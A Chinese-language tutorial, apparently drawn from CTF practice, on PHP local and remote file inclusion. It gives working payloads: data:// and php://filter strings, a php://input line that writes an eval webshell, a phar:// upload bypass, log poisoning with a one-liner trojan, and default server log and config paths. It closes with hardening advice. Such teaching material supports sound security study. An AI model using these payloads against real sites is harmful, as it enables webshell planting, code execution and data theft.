文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。
区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。
如果开启了我们就有可能包含远程文件。·
php 中引发文件包含漏洞的通常是以下四个函数:
1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,
发生错误时只给出一个警告,继续向下执行。
2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,
php 内核并不在意该被包含的文件是什么类型。
所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,
由于传入的文件名没有经过合理的校验,从而引入了预想之外的文件,
从而导致意外的文件泄露、恶意的代码注入。
示例:
理想的使用是url?=main.php,代码逻辑为未传入文件则包含home.php。
但是当传递意料之外的参数时,就会造成文件包含漏洞。
<?php if ($_GET[url]) { include $_GET[url]; } else { include "home.php"; } ?>
当传入带恶意代码的文件时,里面的代码会被执行。
4、php伪协议利用
4.1、data协议
data://协议必须在满足allow_url_fopen=on,allow_url_include=on下使用 data:// 伪协议利用php中流的概念,将原本include的文件流重定向到可控制的参数中。 data://text/plain,<?php phpinfo();?> //如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入: data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
案例:
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } ?>
从代码可以发现过滤了php,使用data协议绕过。
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
查看当前目录下的文件
编码前:data://text/plain;base64,<?php echo `cat flag.php`; ?> 编码后:data://text/plain;base64,PD9waHAgZWNobyBgY2F0IGZsYWcucGhwYDsgPz4=
4.2、php://协议
利用条件: 1、allow_url_include = On。 php://filter用于读取源码。 php://input用于执行php代码。 php://filter/convert.base64-encode/resource=index.php 通过指定末尾的文件,来读取被base64加密后的文件内容。 ?file=php://filter/convert.base64-encode/resource=index.php
使用php://input执行php代码。此处踩坑,使用hackbar进行Post传输,会导致失败。推测为插件bug,具体原因不明,建议使用Burp传输
利用php://input协议写入webshell。
<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); ?>
使用php://filter读取Index.php文件
4.3、phar://协议
主要是用于在php中对压缩文件格式的读取,这种方式通常是用来配合文件上传漏洞使用,
或者进行进阶的phar反序列化攻击
用法就是把一句话木马压缩成zip格式,shell.txt -> shell.zip,然后再上传到服务器
示例1:
payload:file=phar://D:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
示例2:
使用php://filter读取include.php源码
payload:php://filter/convert.base64-encode/resource=include.php
将base64解码后得到,从内容可以发现过滤了http、data、ftp、input、%00。但是存在一个upload.php
<html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file); } } ?>
再读一下upload.php
base64解码,发现是白名单。
<form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form> <?php if(!empty($_FILES["file"])) { echo $_FILES["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>
将shell.php打包成shell.zip,再将后缀名改为jpg上传
使用phar协议执行
去读flag,系统命令无法使用。
payload:?file=phar://upload/shell.jpg/shell&cmd=var_dump(scandir('/')); ?file=phar://upload/shell.jpg/shell&cmd=highlight_file("/flag.php");
4.4、zip协议
使用 zip 协议,需要指定绝对路径,同时将 # 编码为 %23,之后填上压缩包内的文件。
示例:
payload:zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt、
5、包含日志文件
常见的日志文件路径:
linux
/var/log/apache2/log/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd
IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access log
apache+win2003 日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS6.0+win2003 默认日志文件
C:/WINDOWS/system32/Logfiles
nginx 日志文件
/usr/local/nginx/logs
可通过其配置文件 Nginx.conf,获取到日志的存在路径
/opt/nginx/logs/access.log
示例:
从源码中可以看出过滤了php、data、:关键字
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); } ?>
通过返回包确认为nginx
尝试包括日志文件
file=/var/log/nginx/access.log
使用hackerbar在user-agent头写入代码,失败。
换burp,发送
再访问日志文件,成功执行
写入一句话木马
蚁剑连接,拿到flag
6、如何提前防范这个漏洞?如何进行加固?
1、设置白名单
2、过滤危险字符
3、设置文件目录
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,
如果设置目录的话,PHP仅仅在该目录内搜索文件。
4、关闭危险配置(allow_url_include)